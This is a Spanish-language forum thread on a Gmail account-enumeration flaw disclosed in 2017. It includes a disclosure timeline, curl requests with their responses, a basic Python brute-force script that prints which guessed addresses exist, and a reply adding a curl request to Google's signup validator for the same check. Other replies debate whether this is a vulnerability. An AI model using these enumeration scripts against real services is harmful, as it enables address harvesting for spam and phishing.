Actualmente Gmail (http://gmail.com) tiene una 'vulnerabilidad' que permite encontrar gran cantidad de direcciones de correo, dicho error fue encontrado por @x0rz (https://twitter.com/x0rz), y como de costumbre fue ignorado por Gmail.
Citar02/03/2017 14:54:00 (UTC + 1): póngase en contacto con Google con este número
02/03/2017 17:13:00 (UTC + 1): Respuesta de Google "su informe fue evaluado y actualmente estamos estudiando".
02/03/2017 17:27:00 (UTC + 1): Respuesta de Google "Decidimos encaminar internamente a un equipo que se ocupa de cuestiones similares"
22/03/2017 00:56:00 (UTC + 1): Respuesta de Google "No nos hemos olvidado de su informe; Todavía estamos buscando en él y volveremos a usted en un par de días. "
31/03/2017 16:29:00 (UTC + 1): Google decidió no clasificar esto como un bug de seguridad ¯ \ _ (ツ) _ / ¯
Esto solo es fuerza bruta, si buscas algo jugoso como un 0day pásate de largo ;)
Vulnerabilidad:La URL: https://mail.google.com/mail/gxlu (https://mail.google.com/mail/gxlu) nos permite saber si un usuario/correo_electrotécnico esta registrado o dado de alta en el servicio, ¿Como? pues al no estar registrado da una respuesta diferente en: headers, Ejemplo:
$ curl -v https://mail.google.com/mail/gxlu?email=<cuenta_activa>
[...]
< HTTP/1.1 204 No Content
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: Mon, 01 Jan 1990 00:00:00 GMT
< Date: Thu, 02 Mar 2017 11:43:10 GMT
< Server: GSE
< Set-Cookie: S=gmail=ilixOdEvDf9fbi2w4OYwRIQkpUcwCKK6; Expires=Thu, 02-Mar-2017 12:43:10 GMT; Path=/mail; Secure; HttpOnly
< Set-Cookie: COMPASS=gmail=CmYACWuJVycLtY31gmk6cAgFQBfuovcN3rfKw05y2kngwptEGIyez478x5O1fJW-dxF4sDChgHulPqu5kDjgCnEQGi0egQkahglkL6Hl5ANZ-v4zRnzWdYxjtZ_8aV6bhAs8w2uH1X8Ql6fgxQUabwAJa4lX4mDPO08mNP4srg8ScUYXcW-bcdfx7U78Xa2IgEGwfn2EZPlDFm5B1b97cyOzPhliiPGhdsfb0PQysYCiVIw2sVb-Ayyq1-S6aFlcsPpwru06Kh64grTP3ZMLSaCE5hF_gjDTXxZ4Xl0S0Q; expires=Sun, 12-Mar-2017 11:43:10 GMT; path=/mail; Secure; HttpOnly
< Alt-Svc: quic=":443"; ma=2592000; v="35,34"
Y si probamos con una cuenta inexistente:
$ curl -v https://mail.google.com/mail/gxlu?email=<cuenta_inexistente>
[...]
< HTTP/1.1 204 No Content
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: Mon, 01 Jan 1990 00:00:00 GMT
< Date: Thu, 02 Mar 2017 11:42:08 GMT
< Server: GSE
< Alt-Svc: quic=":443"; ma=2592000; v="35,34"
Como podemos observar el servidor agrega en: headers el encabezado
Set-Cookie, esto solo para las cuentas activas/registradas
Explotación:Para poder aprovecharnos de esta vulnerabilidad podemos crear un script que intente adivinar que cuentas estan registradas en el servicio, por ejemplo: (Este ejemplo es básico no intenta ser una herramienta, solo es la base o lógica de explotación)
import requests
cuentas = ["juan123123123.002", "pedrovazquez", "juanperez", "lkasjdklasjdajsdal", "as1321223123d100012", "qwerty002"]
def set_cookie(cuentas):
try:
url = requests.get("https://mail.google.com/mail/gxlu?email=" + cuentas + "@gmail.com")
test = url.headers['set-cookie']
print cuentas+"@gmail.com"
except KeyError:
pass
for i in cuentas:
set_cookie(i)
Al ejecutar el script nos damos cuenta que solo imprimirá por pantalla las cuentas que estén activas de las lista: cuentas.
Impacto:Este error puede ser explotado con fines maliciosos como: campañas de marketing agresivas (es decir, recibir correos electrónicos no solicitados) o en el peor de los casos ataques de phishing y ransomware, como de costumbre.
Este post fue realizado con fines educativos y de prevención y en ningún caso para promover acciones ilegales o delictivas.
...
Desconocía esto, me vendrá bien para una tool que estoy haciendo ;D
Siempre he pensado que la fijación de Google con hacer todo más conectado ha abierto muchas puertas a los fines maliciosos.
@MisterS (https://underc0de.org/foro/profile/MisterS/) Espero que te haya sido útil la información, ojala y comparta su herramienta ;)
La vulnerabilidad existir existe, google de unos años a aquí ignora todas y luego, en secreto, las parchea.
De cualquier forma, como es fuerza bruta, no veo que sea muy diferente a enviar correo a todas las direcciones y esperar la respuesta de que el correo no existe.
Muy curiosa esta vulnerabilidad, gracias por compartirlo
Atr0m
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
De cualquier forma, como es fuerza bruta, no veo que sea muy diferente a enviar correo a todas las direcciones y esperar la respuesta de que el correo no existe.
Si tienes razón! la única diferencia es que usted puede estar seguro que los correos que obtenga si están registrados, pero aun así estos tal vez no sean utilizados
Gracias!, hace tiempo buscaba una herramienta asi, es util para evitar los Email Spoofing xD, aunque supongo que a la multitud de peticiones debe existir un bloqueo
Saludos!
Disculpen mi intromisión pero me parece mas practica mis tecnicas con las que colabore con el chema.
Link: http://www.elladodelmal.com/2016/07/urls-de-gmail-perdidas-en-el-archivo-de.html?m=1
Y este otro link: http://www.elladodelmal.com/2013/10/79400-urls-de-gmail-indexadas-en-google.html?m=1
Saludos Rootkit.
Estoy totalmente deacuerdo con Google, esto no es ninguna "vulneravilidad", si no, es un servicio.
Recordemos que en la pagina de registro de gmail, al escribir un nuevo correo, inmediatamente se dispara una peticion ajax informando si el correo esta en uso o no, asi que podemos hacer lo mismo
curl -X POST -H "Accept: Application/json" -H "Content-Type: application/json" -d '{"input01":{"Input":"GmailAddress","GmailAddress":"pepelucho","FirstName":"","LastName":""},"Locale":"es"}' https://accounts.google.com/InputValidator?resource=SignUp&service=mail
En donde el valor "pepelucho" es el nombre de correo que se esta consultando su disponibilidad (no es necesario escribir
[email protected])
Y Google responde de la siguiente forma si no esta disponible:
{"input01":{"Valid":"false","ErrorMessage":"Ese nombre de usuario ya está en uso. Prueba con otro.","Errors":{"GmailAddress":"Ese nombre de usuario ya está en uso. Prueba con otro."},"ErrorData":[]},"Locale":"es"}
Y si el correo no existe (esta disponible) entonces devuelve:
{"input01":{"Valid":"true","ErrorData":[]},"Locale":"es"}
Como dije lineas arriba, esto no es ninguna vulnerabilidad, es solo un servicio que siempre estuvo disponible
Si por el tiempo que tarda en responder un ordenador al introducir un nombre usuario de usuario y password podemos obtener información de si existe o no el usuario, es una vulnerabilidad.
Si una pagina web permite que al realizar una petición con un usuario y password saber si el usuario existe o no, no lo es.
Me cuesta ver la diferencia. Pero es verdad que si no das al usuario la posibilidad de saber si existe o no un mail en un servicio on line, no puede saber si el mail esta cogido o no para hacerse una nueva cuenta.
No obstante, esa feature entiendo que no debería estar en el servicio de login.